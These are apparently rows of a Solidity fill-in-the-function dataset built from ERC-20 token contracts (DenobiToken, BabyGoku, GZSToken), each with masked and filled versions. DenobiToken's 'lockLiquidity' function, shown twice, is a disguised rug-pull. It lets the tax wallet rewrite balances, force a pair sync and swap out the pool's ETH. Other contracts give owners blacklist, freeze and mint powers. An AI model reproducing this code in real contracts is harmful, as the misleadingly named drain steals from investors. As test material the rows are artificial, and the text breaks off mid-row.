_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | contract DenobiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 64000000 * 10**18;
uint256 private _maxWallet= 64000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Degen Shinobi";
string private constant _symbol = "DENOBI";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function manualSwap() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} |
_taxWallet = payable(_msgSender());
_taxFee = 12;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(200);
_maxWallet=_tTotal.div(100);
emit Transfer(address(0x0), _msgSender(), _tTotal);
| constructor () | constructor () |
13491 | BabyGoku | swapTokensForEth | contract BabyGoku is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
string private constant _name = "BabyGoku";
string private constant _symbol = unicode"BGK";
uint8 private constant _decimals = 9;
uint256 private constant DECIMAL_FACTOR = 10**_decimals;
uint256 private constant _tTotal = 100000000 * DECIMAL_FACTOR;
uint256 public _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
event TradingStarted(address indexed token0, address indexed token1);
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
address uniswapV2PairAddress = IUniswapV2Factory(
_uniswapV2Router.factory()
).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress);
}
// openTrading
function kamehameha() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * DECIMAL_FACTOR;
tradingOpen = true;
IERC20(address(uniswapV2Pair)).approve(
address(uniswapV2Router),
type(uint256).max
);
emit TradingStarted(uniswapV2Pair.token0(), uniswapV2Pair.token1());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 8;
_teamFee = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == address(uniswapV2Pair) &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == address(uniswapV2Pair) &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_taxFee = 8;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != address(uniswapV2Pair) && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> }
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() public view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | contract BabyGoku is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
string private constant _name = "BabyGoku";
string private constant _symbol = unicode"BGK";
uint8 private constant _decimals = 9;
uint256 private constant DECIMAL_FACTOR = 10**_decimals;
uint256 private constant _tTotal = 100000000 * DECIMAL_FACTOR;
uint256 public _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
event TradingStarted(address indexed token0, address indexed token1);
constructor(
address payable FeeAddress,
address payable marketingWalletAddress
) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
address uniswapV2PairAddress = IUniswapV2Factory(
_uniswapV2Router.factory()
).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Pair = IUniswapV2Pair(uniswapV2PairAddress);
}
// openTrading
function kamehameha() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * DECIMAL_FACTOR;
tradingOpen = true;
IERC20(address(uniswapV2Pair)).approve(
address(uniswapV2Router),
type(uint256).max
);
emit TradingStarted(uniswapV2Pair.token0(), uniswapV2Pair.token1());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 8;
_teamFee = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == address(uniswapV2Pair) &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == address(uniswapV2Pair) &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_taxFee = 8;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != address(uniswapV2Pair) && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
<FILL_FUNCTION>
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() public view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} |
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
| function swapTokensForEth(uint256 tokenAmount) private lockTheSwap | function swapTokensForEth(uint256 tokenAmount) private lockTheSwap |
51056 | GZSToken | buy | contract GZSToken is owned, token {
uint public buyRate = 46000; // price one token per ether
bool public isSelling = true;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function GZSToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (frozenAccount[msg.sender]) throw; // Check if frozen
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[_from]) throw; // Check if frozen
if (balanceOf[_from] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (_value > allowance[_from][msg.sender]) throw; // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setBuyRate(uint newBuyRate) onlyOwner {
buyRate = newBuyRate;
}
function setSelling(bool newStatus) onlyOwner {
isSelling = newStatus;
}
function buy() payable {<FILL_FUNCTION_BODY> }
function withdrawToOwner(uint256 amountWei) onlyOwner {
owner.transfer(amountWei);
}
} | contract GZSToken is owned, token {
uint public buyRate = 46000; // price one token per ether
bool public isSelling = true;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function GZSToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (frozenAccount[msg.sender]) throw; // Check if frozen
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[_from]) throw; // Check if frozen
if (balanceOf[_from] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
if (_value > allowance[_from][msg.sender]) throw; // Check allowance
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setBuyRate(uint newBuyRate) onlyOwner {
buyRate = newBuyRate;
}
function setSelling(bool newStatus) onlyOwner {
isSelling = newStatus;
}
<FILL_FUNCTION>
function withdrawToOwner(uint256 amountWei) onlyOwner {
owner.transfer(amountWei);
}
} |
if(isSelling == false) throw;
uint amount = msg.value * buyRate; // calculates the amount
